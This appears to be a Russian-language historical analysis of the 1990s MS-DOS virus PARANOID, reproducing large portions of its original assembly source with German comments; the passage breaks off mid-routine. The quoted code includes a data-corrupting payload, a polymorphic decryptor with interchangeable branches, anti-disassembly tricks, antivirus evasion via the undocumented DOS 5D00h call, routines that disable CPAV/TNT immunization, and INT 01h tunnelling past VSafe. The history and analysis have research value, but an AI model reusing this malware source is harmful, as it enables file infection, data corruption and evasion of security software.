;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
              MOV SI,PUMP_SIZE                  ;Text-länge in <SI>
              MOV BX,DX                                  ;OFS des Puffers in <BX>, s.u.
BOESE:        MOV AL,BYTE PTR CS:[SI+OFFSET PUMP_TEXT-1] ;Text lesen
              XOR AX,SI                                  ;Entschlüsseln!
              MOV DI,CX                         ;...und dann in den...
              DEC DI                            ;(Pufferzeiger verkleinern!)
              MOV DS:[DI+BX],AL                 ;Puffer schreiben!
              DEC SI                            ;String-Zeiger verkleinern
              JNZ EVIL                          ;NULL? NEIN --> EVIL
              MOV SI,PUMP_SIZE                  ;Text-länge in <SI>
EVIL:         LOOP BOESE                        ;Puffer voll machen!
              JMP END21POP                      ;...und zur Dose!

              INCLUDE PUMPVOLL.XOR              ;PUMP_TEXT & PUMP_SIZE !!!

            ENDIF
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
...

Если все критерии срабатывания выполнены, данные, которые намеревался записать пользователь, подменялись данными вируса. Вирус манипулировал буфером и записывал в него примерно следующее:

Paranoid ([c] PRIEST V.D.G.I.) likes your delicious data !!!

Полиморфный декодер

Вирус избегал обнаружения, предотвращая появление однозначных сигнатур, которые могли бы выявить его присутствие в заражённых программах. Для этого он прятал себя и запутывал алгоритм декодирования перед заражением выбранного хоста. Библиотека CODER.INC содержала необходимый для этого код, являющийся полиморфным декодером (активируется ключом MIT_CODER). 

Алгоритм дешифрования состоял из нескольких сегментов, в каждом из которых было несколько взаимозаменяемых кодовых блоков. Каждый раз, когда вирус заражал хост, алгоритм декодирования скремблировался путём случайного выбора одного из альтернативных кодовых блоков для каждого сегмента и инициализации его случайным декодирующим сэмплом (который также использовался для кодирования двоичных данных вируса, добавляемых в хост).

Благодаря такому методу шифрования кода, алгоритм декодирования и закодированные двоичные данные вируса всегда «выглядели» по‑разному, что усложняло выявление однозначной сигнатуры. Из‑за сегментации алгоритма и альтернативных реализаций для каждого сегмента дешифратор назвали полиморфным.

Поставщики антивирусного ПО обычно извлекают уникальные сигнатуры из вирусов и хранят их в базах данных вирусных сигнатур. Каждая сигнатура идентифицирует вирус, что позволяет антивирусам обнаруживать заражённые программы при сканировании компьютера с использованием сигнатур из своей базы данных и удалять вирус с хоста.

Алгоритм декодирования был разбит на сегменты от 1 до 9, причём каждый сегмент имел пять реализаций (от A до E). Эти сегменты были полностью взаимозаменяемы, а значит, сегмент 5 реализации A (A5) можно было заменить сегментом 5 любой другой реализации (B5, C5, D5 или E5), сохраняя при этом корректную работу алгоритма. Это гарантировало, что алгоритм функционировал одинаково независимо от того, какая реализация использовалась для каждого сегмента при шифровании алгоритма перед заражением нового хоста.

С пятью альтернативами для каждого из девяти сегментов полиморфный декодер мог быть представлен в 45 различных формах, каждая из которых имела свою «сигнатуру». Добавление большего количества реализаций ещё больше увеличивало возможные вариации.

...
;------------------------------------------------------------------------------
; Die verschiedenen Zweige sind in Module zusammengefasst, die von Zweig zu
; Zweig beliebig durch korrespondierende Module ausgetauscht werden können. So
; kann z.B. Modul A2 durch Modul C2 ausgetauscht werden, da die korrespondier-
; enden Module funktionskompatibel zueinander sind. Modul A2 fängt beim Label
; A2 an und hört vor dem Label A3 auf usw.
;------------------------------------------------------------------------------
;==============================================================================
; ZWEIG_A:
;------------------------------------------------------------------------------
; FUNKTION: 1. Alternative für die Verschlüsselungsroutine.
;==============================================================================
ZWEIG_A:    MOV AX,0                            ;<BP> <-- OFS_VERSCHIEBUNG re-
            XCHG AX,BP                          ;lativ zum OFS 0
;──────────────────────────────────────────────────────────────────────────────
A1:         IFDIFI <CSTART>,<0>                 ;<DI> <-- Start-OFS des zu
              MOV SI,OFFSET CSTART              ;verschlüsselnden Blocks
            ELSE
              XOR SI,SI
            ENDIF
            ADD SI,BP
            XCHG DI,SI
;──────────────────────────────────────────────────────────────────────────────
A2:         MOV BX,BP                           ;<AX> <-- START_CRYPT_KEY
            ADD BX,OFFSET KEY_OFS
            MOV AX,WORD PTR KEY_SEG:[BX]
;──────────────────────────────────────────────────────────────────────────────
A3:         ADD AL,7                            ;START_CRYPT_KEY verändern (1)
;──────────────────────────────────────────────────────────────────────────────
A4:         MOV BX,AX                           ;Block verschlüsseln (a)
            MOV SI,DI
            ADD BX,AX
            XOR CSEG:[SI],BX
;──────────────────────────────────────────────────────────────────────────────
A5:         SUB AH,7                            ;START_CRYPT_KEY verändern (2)
;──────────────────────────────────────────────────────────────────────────────
A6:         MOV CL,BYTE PTR CSEG:[DI]           ;Block verschlüsseln (b)
            XOR CL,AH
            MOV BYTE PTR CSEG:[DI],CL
;──────────────────────────────────────────────────────────────────────────────
A7:         ADD DI,1                            ;CRYPT_OFS = CRYPT_OFS + 1
;──────────────────────────────────────────────────────────────────────────────
A8:         MOV DX,DI                           ;CRYPT_OFS > CENDE ?
            LEA BX,CENDE[BP]                    ;JMP --> x3
            CMP DX,BX
            JBE A3
;──────────────────────────────────────────────────────────────────────────────
A9:         JMP BP                              ;JMP --> Virus-CODE
;──────────────────────────────────────────────────────────────────────────────
A10         EQU $
...
ZWEIG_B, ZWEIG_C and ZWEIG_D
...
;==============================================================================
; ZWEIG_B:
;------------------------------------------------------------------------------
; FUNKTION: 2. Alternative für die Verschlüsselungsroutine.
;==============================================================================
ZWEIG_B:    MOV BP,0                            ;<BP> <-- OFS_VERSCHIEBUNG relativ zum OFS 0
;──────────────────────────────────────────────────────────────────────────────
B1:         MOV DI,BP                           ;<DI> <-- Start-OFS des zu
            IFDIFI <CSTART>,<0>                 ;verschlüsselnden Blocks
              ADD DI,OFFSET CSTART
            ENDIF
;──────────────────────────────────────────────────────────────────────────────
B2:         MOV AX,KEY_SEG:[OFFSET KEY_OFS+BP]  ;<AX> <-- START_CRYPT_KEY
;──────────────────────────────────────────────────────────────────────────────
B3:         INC AL                              ;START_CRYPT_KEY verändern (1)
;──────────────────────────────────────────────────────────────────────────────
B4:         XCHG BP,DI                          ;Block verschlüsseln (a)
            XOR CSEG:[BP],AX
            XCHG DI,BP
;──────────────────────────────────────────────────────────────────────────────
B5:         DEC AH                              ;START_CRYPT_KEY verändern (2)
;──────────────────────────────────────────────────────────────────────────────
B6:         MOV DH,AH                           ;Block verschlüsseln (b)
            MOV SI,DI
            XOR BYTE PTR CSEG:[SI],DH
;──────────────────────────────────────────────────────────────────────────────
B7:         INC DI                              ;CRYPT_OFS = CRYPT_OFS + 1
;──────────────────────────────────────────────────────────────────────────────
B8:         MOV DX,BP                           ;CRYPT_OFS > CENDE ?
            MOV CX,DI                           ;JMP --> x3
            ADD DX,OFFSET CENDE
            CMP DX,CX
            JA B3
;──────────────────────────────────────────────────────────────────────────────
B9:         XCHG SI,BP                          ;JMP --> Virus-CODE
            MOV BP,SI
            JMP SI
;──────────────────────────────────────────────────────────────────────────────
B10         EQU $

;==============================================================================
; ZWEIG_C:
;------------------------------------------------------------------------------
; FUNKTION: 3. Alternative für die Verschlüsselungsroutine.
;==============================================================================
ZWEIG_C:    MOV SI,0                            ;<BP> <-- OFS_VERSCHIEBUNG rel-
            MOV BP,SI                           ;ativ zum OFS 0
;──────────────────────────────────────────────────────────────────────────────
C1:         LEA DI,CSTART[BP]                   ;<DI> <-- Start-OFS des zu
;──────────────────────────────────────────────────────────────────────────────
C2:         LES AX,DWORD PTR KEY_SEG:[OFFSET KEY_OFS+BP] ;<AX> <-- START_CRYPT_KEY
;──────────────────────────────────────────────────────────────────────────────
C3:         ROR AL,1                            ;START_CRYPT_KEY verändern (1)
;──────────────────────────────────────────────────────────────────────────────
C4:         XOR CSEG:[DI],AX                    ;Block verschlüsseln (a)
;──────────────────────────────────────────────────────────────────────────────
C5:         ROL AH,1                            ;START_CRYPT_KEY verändern (2)
;──────────────────────────────────────────────────────────────────────────────
C6:         XCHG DI,BX                          ;Block verschlüsseln (b)
            XOR BYTE PTR CSEG:[BX],AL
            MOV DI,BX
;──────────────────────────────────────────────────────────────────────────────
C7:         ADD DI,010FFH                       ;CRYPT_OFS = CRYPT_OFS + 1
            ADD DI,0EF02H
;──────────────────────────────────────────────────────────────────────────────
C8:         MOV CX,BP                           ;CRYPT_OFS > CENDE ?
            MOV BX,DI                           ;JMP --> x3
            SUB BX,OFFSET CENDE+1
            CMP BX,CX
            JNZ C3
;──────────────────────────────────────────────────────────────────────────────
C9:         MOV AX,BP                           ;JMP --> Virus-CODE
            JMP AX
;──────────────────────────────────────────────────────────────────────────────
C10         EQU $

;==============================================================================
; ZWEIG_D: (Nur bei einem VIRUS_OFS von 0 !!! --> EXE-HOST !!!)
;------------------------------------------------------------------------------
; FUNKTION: 4. Alternative für die Verschlüsselungsroutine.
;==============================================================================
ZWEIG_D:    SUB BX,BX                           ;<BP> <-- OFS_VERSCHIEBUNG rel-
            XCHG BX,BP                          ;ativ zum OFS 0
;──────────────────────────────────────────────────────────────────────────────
D1:         XOR DI,DI                           ;<DI> <-- Start-OFS des zu verschlüsselnden Blocks
;──────────────────────────────────────────────────────────────────────────────
D2:         LEA SI,KEY_OFS[BP]                  ;<AX> <-- START_CRYPT_KEY
            MOV AX,KEY_SEG:[SI]
;──────────────────────────────────────────────────────────────────────────────
D3:         INC AL                              ;START_CRYPT_KEY verändern (1)
            XOR AL,AH                           
;──────────────────────────────────────────────────────────────────────────────
D4:         MOV BX,DI                           ;Block verschlüsseln (a)
            XOR WORD PTR CSEG:[BX],AX
;──────────────────────────────────────────────────────────────────────────────
D5:         INC AH                              ;START_CRYPT_KEY verändern (2)
            XOR AH,AL
;──────────────────────────────────────────────────────────────────────────────
D6:         MOV BP,DI                           ;Block verschlüsseln (b)
            XOR BYTE PTR CSEG:[BP],AH
            SUB BP,BP
;──────────────────────────────────────────────────────────────────────────────
D7:         SUB DI,0FFFFH                       ;CRYPT_OFS = CRYPT_OFS + 1
;──────────────────────────────────────────────────────────────────────────────
D8:         MOV BX,DI                           ;CRYPT_OFS > CENDE ?
            CMP BX,OFFSET CENDE                 ;JMP --> x3
            JA D9
            JMP D3
;──────────────────────────────────────────────────────────────────────────────
D9:         SUB DI,DI                           ;JMP --> Virus-CODE
            JMP DI
;──────────────────────────────────────────────────────────────────────────────
D10         EQU $
...
...
;==============================================================================
; ZWEIG_E: (Nur bei einem VIRUS_OFS von 0 !!! --> EXE-Host !!!)
;------------------------------------------------------------------------------
; FUNKTION: 5. Alternative für die Verschlüsselungsroutine.
;==============================================================================
ZWEIG_E:    XOR BP,BP                           ;<BP> <-- OFS_VERSCHIEBUNG relativ zum OFS 0
;──────────────────────────────────────────────────────────────────────────────
E1:         MOV DI,OFFSET CSTART                ;<DI> <-- Start-OFS des zu verschlüsselnden Blocks
;──────────────────────────────────────────────────────────────────────────────
E2:         XOR AX,AX                           ;<AX> <-- START_CRYPT_KEY
            ADD AX,KEY_SEG:[KEY_OFS]
;──────────────────────────────────────────────────────────────────────────────
E3:         ADD AL,AH                           ;START_CRYPT_KEY verändern (1)
;──────────────────────────────────────────────────────────────────────────────
E4:         MOV SI,DI                           ;Block verschlüsseln (a)
            MOV CX,CSEG:[DI]
            XOR CX,AX
            XCHG CSEG:[SI],CX
;──────────────────────────────────────────────────────────────────────────────
E5:         ADD AH,AL                           ;START_CRYPT_KEY verändern (2)
;──────────────────────────────────────────────────────────────────────────────
E6:         MOV BH,AH                           ;Block verschlüsseln (b)
            MOV BP,DI
            XOR BYTE PTR CSEG:[BP],BH
            XOR BP,BP
;──────────────────────────────────────────────────────────────────────────────
E7:         ADD DI,998DH                        ;CRYPT_OFS = CRYPT_OFS + 1
            ADD DI,6674H
;──────────────────────────────────────────────────────────────────────────────
E8:         XCHG DX,DI                          ;CRYPT_OFS > CENDE ?
            CMP DX,OFFSET CENDE                 ;JMP --> x3
            MOV DI,DX
            JBE E3
;──────────────────────────────────────────────────────────────────────────────
E9:         MOV DX,0                            ;JMP --> Virus-CODE
            JMP DX
;──────────────────────────────────────────────────────────────────────────────
E10         EQU $
...

В коде вируса и алгоритме декодирования не использовались жестко закодированные семплы, которые привели бы к появлению уникальных сигнатур. Вместо этого кодирование выполнялось со случайными исходными данными, которые исправляли каждый вновь созданный вариант алгоритма декодирования.

Поскольку сам вирусный код был спрятан с помощью этого исправленного случайного начального кода перед добавлением в основную программу, а декодер, добавленный к вирусному коду, менял его внешний вид, было маловероятно, что поставщики антивирусов смогут извлечь уникальную сигнатуру для своего программного обеспечения, чтобы обнаружить заражённые файлы.

Методы сокрытия вируса

Применяя дополнительные стратегии скрытности, PARANOID стремился избежать обнаружения и анализа. Для этого использовалось включение фиктивного кода для прерывания дизассемблирования (HIDE_CODE), добавление вводящего в заблуждение кода для сбивания с толку отладчиков (STREU_DUMMY), включение ловушки отладчика для удаления жёсткого диска после анализа (KEIN_DEBUG) или использование необычных вызовов функций MS‑DOS для сокрытия активности вируса (DOS_VIA_5D00).

Исполняемые бинарники, а также вирусный код, внедрённый в заражённые хосты, можно дизассемблировать, то есть превратить в понятный человеку код. Для MS‑DOS и набора инструкций процессора x86 лучшим инструментом среди дизассемблеров стал Sourcer. Чтобы предотвратить изучение своего кода, разработчики вируса намеренно путали дизассемблер.

HIDE_CODE, если он был активирован, рассеивал код вируса на обфусцирующий код и фиктивные байты, заставляя дизассемблер Sourcer испытывать трудности с интерпретацией последующих байтов в качестве действительных инструкций машинного кода. В результате Sourcer выдавал либо неверные инструкции ассемблера, либо просто определения значений байтов.

...
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
            IF HIDE_CODE
              JMP WORD PTR CS:[ZIEL_WORD+BP]    ;--> HIDE_VIR_JMP
              DB 80H
HIDE_VIRJMP   EQU $                             ;<-- Hierhin !!!
            ENDIF
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
...

Этот фрагмент кода является частью стратегии обфускации, призванной запутать дизассемблеры и отладчики. При непрямом переходе пропускается фиктивный байт (0x80), в результате чего дизассемблеры, такие как Sources, неверно интерпретируют этот байт как начало новой инструкции. Это неверное толкование приводит к неправильному дизассемблированию последующего кода, что фактически затрудняет процесс дизассемблирования.

Другой такой фрагмент активно маскирует использование малоизвестной (недокументированной) сетевой функции MS-DOS 5D00h (используя ещё одну скрытую стратегию для сокрытия существования вируса):

...
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
; MOV AX,5D00H vor dem SR verstecken:
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
              IF HIDE_CODE                      ;[ZIEL_WORD] zeigt auf den
                JMP WORD PTR CS:[ZIEL_WORD]     ;OFS von MOV_AX_5D00 !!!
                DB 02EH                         ;SR täuschen !!!
MOV_AX_5D00     EQU $                           ;Hier gehts weiter -->
              ENDIF
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
              MOV AX,5D00H                      ;DOS-NETZWERK-FUNKTION
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
...

Как и часть функциональности HIDE_CODE, этот фрагмент предназначен для сокрытия использования недокументированной сетевой функции MS-DOS 5D00h. Он скрывает инструкцию MOV AX,5D00h (обозначающую сетевую функцию INT 21h), используя комбинацию непрямого перехода и фиктивного байта 02EH, который обманывает дизассемблер, заставляя его интерпретировать 02EH как начало следующей инструкции, тем самым препятствуя корректному дизассемблированию.

Использование малоизвестных сетевых процедур MS-DOS 

Передовые антивирусные программы использовали технику TSR для защиты компьютеров, отслеживая и анализируя вызовы подпрограмм INT 21h, сообщая и блокируя любую подозрительную активность. 

Исследуя более-менее популярные BBS, школьники-программисты нашли документы, в которых подробно описывалась функциональность MS-DOS, доступная с помощью малоизвестных сетевых подпрограмм. Чтобы избежать обнаружения активным антивирусным ПО, ребята решили опционально использовать эти сетевые процедуры для локальных вызовов MS-DOS (DOS_VIA_5D00). Этот подход, как они убедились, позволял PARANOID оставаться незамеченным для антивирусных программ того времени.

...
;┌────────────────────────────────────────────────────────────────────────────┐
;│ GODOS:                                                                     │
;│----------------------------------------------------------------------------│
;│ GODOS: Direkter Aufruf von INT 21H                                         │
;└────────────────────────────────────────────────────────────────────────────┘
GODOS       PROC NEAR
;??????????????????????????????????????????????????????????????????????????????
; Aufruf aller DOS-Funktionen über die Funktion AX=5D00h/INT 21h:
;??????????????????????????????????????????????????????????????????????????????
            IF DOS_VIA_5D00
              ...
              MOV WORD PTR CS:[R_AX],AX         ;DPL Regs eintragen -->
              MOV WORD PTR CS:[R_BX],BX         ;
              MOV WORD PTR CS:[R_CX],CX         ;
              MOV WORD PTR CS:[R_DX],DX         ;
              MOV WORD PTR CS:[R_SI],SI         ;
              MOV WORD PTR CS:[R_DI],DI         ;
              MOV WORD PTR CS:[R_DS],DS         ;
              MOV WORD PTR CS:[R_ES],ES         ;<-- DPL Regs eingetragen
              MOV AX,CS                         ;OWNER-PSP mit dem Virus <CS>
              MOV WORD PTR CS:[PROG_SEG],AX     ;angeben
              MOV DS,AX                         ;<DS:DX> --> Adresse der für
              MOV DX,OFFSET DPL                 ;AX=5D00h benötigten DPL
              ...
              MOV AX,5D00H                      ;DOS-NETZWERK-FUNKTION
              ...
              CMP CS:[R_AH],04CH                ;Programm Beenden?
              JNZ CALL_DOS                      ;NEIN --> CALL_DOS
              MOV BYTE PTR CS:[EXIT_5D00],0     ;JA --> Flag zurücksetzen
              JMP DWORD PTR CS:[ALT21]          ;INT 21 wie der Host aufrufen
              IF STREU_DUMMY                    ;-->
                DB 80H                          ;Falsche Befehle !!! (nur TD)
              ENDIF                             ;<--
;??????????????????????????????????????????????????????????????????????????????
CALL_DOS      EQU $
;??????????????????????????????????????????????????????????????????????????????
            ENDIF
;??????????????????????????????????????????????????????????????????????????????
            PUSHF                               ;INT simulieren
            CALL DWORD PTR CS:[ALT21]           ;INT 21H direkt aufrufen.
            RET                                 ;Zurück !
            IF STREU_DUMMY                      ;-->
              DB 80H                            ;Falsche Befehle !!! (nur TD)
            ENDIF                               ;<--

GODOS       ENDP
...

Доступ к обычным подпрограммам MS-DOS INT 21h также можно было получить с помощью недокументированной (и, следовательно, неконтролируемой) сетевой функции INT 21h 5D00h, вместе с блоком памяти, описывающим вызов обычной функции MS-DOS. Для этого необходимо было подготовить блок памяти, известный как список параметров устройства (Device Parameter List, DPL), который описывал вызов MS-DOS на основе значений регистров процессора требуемого обычного вызова. Затем DPL конфигурировался с  необходимыми значениями регистра процессора (теперь представленных DPL) перед вызовом INT 21h.

Выделив вызов MS-DOS для INT 21h в специальную процедуру, переключатель DOS_VIA_5D00 определял, будет ли PARANOID вызывать INT 21h напрямую или воспользуется обходной сетевой функцией 5D00h.

Перехитрить антивирусы

Антивирусное программное обеспечение, такое как TNT-Antivirus (TNT), Central Point Anti-Virus (CPAV) и Microsoft Anti‑Virus (MSAV) — урезанная версия CPAV, вскоре научились выявлять такие хитрости и очень своеобразно бороться с вирусами. Это ПО как бы вакцинировало исполняемые файлы, «заражая» их механизмом защиты от вирусов. Добавленный «код иммунизации» проверял целостность исполняемых файлов и предпринимал действия, если целостность была скомпрометирована.

Каждый раз, когда программа запускалась с этого момента, код иммунизации сравнивал сохранённую контрольную сумму с заново рассчитанной, предупреждая пользователя, если были обнаружены какие‑либо изменения. Подобно заражающему файлы вирусу, код иммунизации брал программу под свой контроль, но предотвращал вред вместо того, чтобы причинять его.

Юные вирусописатели проанализировали код иммунизации антивирусов и обнаружили сигнатуру в последних пяти байтах, читающую MsDos в ASCII. Поскольку код иммунизации был добавлен к программе, последние пять байт иммунизированной программы также заканчивались этой сигнатурой. Они воспользовались этим открытием, запрограммировав вирус на обнаружение и нейтрализацию такого кода иммунизации.

...
;??????????????????????????????????????????????????????????????????????????????
; Testen ob mit CPAV/TNT geeimpft wurde:
;??????????????????????????????????????????????????????????????????????????????
            IF IMPF2INFIZ
;??????????????????????????????????????????????????????????????????????????????
;Die Kennung einer TNT/CPAV-Impfung am Ende eines Programms ist "MsDos", somit
;sind die letzten 2 Bytes "os". Auf diese Bytes (IMPF_ID s. EQU.INC) wird ge-
;testet und das Flag IMPF_FLAG dementsprechend gesetzt.
;??????????????????????????????????????????????????????????????????????????????
              MOV BYTE PTR CS:[IMPF_FLAG],0     ;IMMUN-Flag löschen
              CMP WORD PTR CS:[PUFFER],"so"     ;Immunisiert..? (MsD"os" --> WORD: "so" !!!)
              JNZ CPAV_END                      ;NEIN --> CPAV_END
              MOV BYTE PTR CS:[IMPF_FLAG],1     ;JA --> IMPF_FLAG auf 1 setzen
;??????????????????????????????????????????????????????????????????????????????
CPAV_END      EQU $                             ;--> WEITER
;??????????????????????????????????????????????????????????????????????????????
            ENDIF
;??????????????????????????????????????????????????????????????????????????????
...

Вирус проверял, была ли программа «иммунизирована» антивирусными программами типа CPAV или TNT, выискивая специфическую сигнатуру иммунизации в конце каждой потенциальной программы‑хоста. Если такая сигнатура находилась, PARANOID устанавливал флаг IMPF_FLAG, указывающий на то, что программа иммунизирована. Этот флаг впоследствии использовался для запуска нейтрализации кода иммунизации.

При обнаружении иммунизированной программы вирус был запрограммирован на определение точки входа иммунизирующего кода и возврат к исходной точке входа программы (той, к которой обращались в случае, если иммунизирующий код не обнаружил подозрительных изменений). Получив эту информацию, вирус после заражения модифицировал программу‑хост, чтобы обойти код иммунизации.

...
;??????????????????????????????????????????????????????????????????????????????
; CPAV/TNT-Impfung aufheben:
;??????????????????????????????????????????????????????????????????????????????
            IF IMPF2INFIZ
;??????????????????????????????????????????????????????????????????????????????
;Wenn immunisiert wurde, dann wird der Ausprungpunkt im Immunisierten File
;gesucht und dort ein JMP auf das beenden des IMPF-Progs gesetzt:
;??????????????????????????????????????????????????????????????????????????????
SUCH_AB       EQU 172H                          ;Ab SUCH_AB enderelativ suchen
;??????????????????????????????????????????????????????????????????????????????
              CMP BYTE PTR CS:[OFFSET IMPF_FLAG],0 ;Immunisiert?
              JZ F_END_IMPF                        ;NEIN --> END_IMPF
              DOS_FSEEK BX,02H,0FFFFH,(-SUCH_AB)   ;FPtr enderelativ.
              DOS_FREAD BX,20H,DS,<OFFSET BUFFER>  ;TNT-Bytes lesen.
IMUN_TST:     MOV SI,CX                            ;Zu lesender BYTEs
              DEC SI                                   ;NULL als Zahl!
              CMP WORD PTR CS:[OFFSET BUFFER+SI],09B4H ;Target gefunden?
              JZ BREAK_IT                              ;JA --> BREAK_IT
              LOOP IMUN_TST                     ;NEIN --> IMUN_TST
F_END_IMPF:   JMP END_IMPF                      ;NIX...INF_CONT!
              IF STREU_DUMMY                    ;-->
                DB 80H                          ;Falsche Befehle !!! (nur TD)
              ENDIF                             ;<--
BREAK_IT:     MOV DX,SUCH_AB                    ;LO-WORD des FPtr
              SUB DX,SI                         ;Ziel-Pos abziehen
              NEG DX                            ;FilePtr rückwärts!
              DOS_FSEEK BX,02H,0FFFFH,DX            ;FPtr enderelativ
              DOS_FWRITE BX,2,DS,<OFFSET ANTI_IMPF> ;Sprung setzen!
;??????????????????????????????????????????????????????????????????????????????
END_IMPF      EQU $
;??????????????????????????????????????????????????????????????????????????????
            ENDIF
;??????????????????????????????????????????????????????????????????????????????
...

В случае установки флага  IMPF_FLAG вирус вычислял точку входа кода иммунизации, а затем модифицировал программу так, чтобы перепрыгнуть (обойти) свой собственный код иммунизации, эффективно деактивируя механизм защиты. Использование фиктивных байтов (DB 80H) позволяло запутать дизассемблеры и отладчики.

Программное обеспечение VSafe TSR, часть антивирусного пакета CPAV,  подключалось к вызовам функций MS-DOS и оставалось резидентным в памяти для отслеживания подозрительной активности, предупреждая пользователя и предоставляя средства для прерывания таких операций при обнаружении.

Чтобы избежать обнаружения VSafe TSR, школьники снабдили PARANOID переключателем SAFE_EXIT. Когда он был включен, вирус обманывал перехватчики VSafe TSR, контролирующие INT 21h и INT 13h, отслеживая их вызовы путём перехвата INT 01h.

Настройка обработчика INT 01h и включение флага трассировки процессора позволяли вирусу выполнять пошагово каждую следующую инструкцию, после чего он получал полный контроль над операциями CPU.

...
;??????????????????????????????????????????????????????????????????????????????
; VSAFEs INT 13H/21H-Überwachung auszuschalten:
; Vorsicht: Wenn mit SURIV der Virus abgewehrt wurde, aber VSAFE entdeckt wird,
; dann wird diese Routine ins leere tracen, da der INT 01 Handler durch den
; abwesenden Virus auch nicht im Speicher ist !!!
;??????????????????????????????????????????????????????????????????????????????
            IF VSAFE_EXIT
;??????????????????????????????????????????????????????????????????????????????
; Testen, ob VSAFE schon resident ist:
;??????????????????????????????????????????????????????????????????????????????
VSAFE_TEST:   MOV AX,0FA00H                     ;VSAFE_INST_TEST (FA01H --> VSAFE_REMOVE!)
              MOV DX,5945H                      ;VSAFE_ID_WORD
              INT 21H                           ;VSAFE_TEST_INT (INTs 13h, 16h & 21h möglich)
              CMP DI,4559H                      ;VSAFE_IN_MEMORY ?
              JNZ NO_VSAFE                      ;NEIN --> NO_VSAFE
;??????????????????????????????????????????????????????????????????????????????
; Neuen INT 01-Handler:
;??????????????????????????????????????????????????????????????????????????????
              MOV CX,ES                         ;MEM_BLOCK_SEG --> <CX>
              DOS_GETINT 01,ES,BX               ;Trace-INT-Vector ermitteln
              PUSH ES                           ;SEG --> STACK
              PUSH BX                           ;OFS --> STACK
              MOV ES,CX                         ;<ES> <-- MEM_BLOCK_SEG

              XOR AX,AX                         ;<DS> auf INT_VECT_SEG
              MOV DS,AX                         ;INT-Vects ändern
              MOV DS:[1*4],OFFSET NEU01         ;TRACE_INT_OFS auf NEU01
              MOV DS:[1*4+2],ES                 ;TRACE_INT_SEG auf <ES>
;??????????????????????????????????????????????????????????????????????????????
; TF setzen:
;??????????????????????????????????????????????????????????????????????????????
              PUSHF                             ;Flags auf den Stack
              POP AX                            ;--> in <AX>
              OR AX,100H                        ;TF setzen
              PUSH AX                           ;<AX> auf den Stack
              POPF                              ;INT 01 aktiv...
;??????????????????????????????????????????????????????????????????????????????
; INTs tracen:
;??????????????????????????????????????????????????????????????????????????????
              XOR AX,AX                         ;<DS> auf die INT-Vect-Tabelle setzen
              MOV DS,AX                         ;(für den call!)

              MOV ES:[VSAFE_FLAG],0             ;VSAFE noch nicht gefunden!
              MOV ES:[VSAFE_SEG],0              ;VSAFE_SEG & OFS noch nicht ermittelt!
              MOV AH,1                          ;SYSTEM_DISK_STATUS
              MOV DL,80H                        ;HD_1
              PUSHF
              CALL DWORD PTR DS:[13H*4]         ;INT 13H direct callen

              MOV ES:[VSAFE_FLAG],0             ;VSAFE noch nicht gefunden!
              MOV ES:[VSAFE_SEG],0              ;VSAFE_SEG & OFS noch nicht ermittelt!
              MOV AH,30H                        ;DOS_Version
              PUSHF
              CALL DWORD PTR DS:[21H*4]         ;INT 21H direct callen
;??????????????????????????????????????????????????????????????????????????????
; TF zurücksetzen:
;??????????????????????????????????????????????????????????????????????????????
              PUSHF                             ;FLAGS auf sen Stack
              POP AX                            ;in <AX>
              AND AX,0FEFFH                     ;TF zurücksetzen
              PUSH AX                           ;auf den Stack
              POPF                              ;in die Flags, TF auf null!
;??????????????????????????????????????????????????????????????????????????????
; Vects restaurieren:
;??????????????????????????????????????????????????????????????????????????????
              XOR AX,AX                         ;<DS> auf INT_VECT_SEG
              MOV DS,AX                         ;INT-Vects ändern
              POP AX                            ;INT01_OFS --> <AX>
              MOV WORD PTR DS:[1*4],AX          ;ORIG_OFS --> INT01_VECTOR
              POP AX                            ;INT01_SEG --> <AX>
              MOV WORD PTR DS:[1*4+2],AX        ;ORIG_SEG --> INT01_VECTOR
;??????????????????????????????????????????????????????????????????????????????
NO_VSAFE:     CMP BYTE PTR CS:[RES_FLAG+BP],1   ;EXITUS schon resident im Speicher?
              JE  ENDE                          ;JA --> ENDE
            ENDIF
;??????????????????????????????????????????????????????????????????????????????
...

После перехвата INT 01h и включения Trace Flag вирус запускал такие немодифицирующие функции, как определение версии MS‑DOS, GET DOS VERSION с помощью INT 21h (функция 30h) и проверка статуса системного диска, Get Disk System Status, с помощью INT 13h (функция 01h). Это позволяло ему анализировать потоки выполнения INT 21h и INT 13h с помощью специального обработчика INT 01h. После завершения анализа вирус восстанавливал исходное состояние INT 01h и Trace Flag.

Вирусный обработчик INT 01h выполнял работу по нейтрализации VSafe TSR, анализируя процесс выполнения с помощью ранее вызванных функций INT 21h и INT 13h. Отслеживая эти вызовы при активном VSafe TSR, обработчик получал представление о том, как отключить VSafe TSR.

...
;┌────────────────────────────────────────────────────────────────────────────┐
;│ NEU01:                                                                     │
;│----------------------------------------------------------------------------│
;│ VSAFEs INT 21h-Überwachung durch tunneln übergehen.                        │
;└────────────────────────────────────────────────────────────────────────────┘
;??????????????????????????????????????????????????????????????????????????????
IF VSAFE_EXIT
  NEU01       PROC NEAR
;??????????????????????????????????????????????????????????????????????????????
              PUSH BP                           ;<BP> merken
              MOV BP,SP                         ;<SP> in <BP> merken
              PUSH AX                           ;Register merken
              PUSH BX                           ;    "       "
              PUSH CX                           ;    "       "
              PUSH SI                           ;    "       "
              PUSH DS                           ;    "       "
              PUSHF                             ;    "       "
;??????????????????????????????????????????????????????????????????????????????
              MOV DS,SS:[BP+4]                  ;SEG
              MOV BX,SS:[BP+2]                  ;OFS
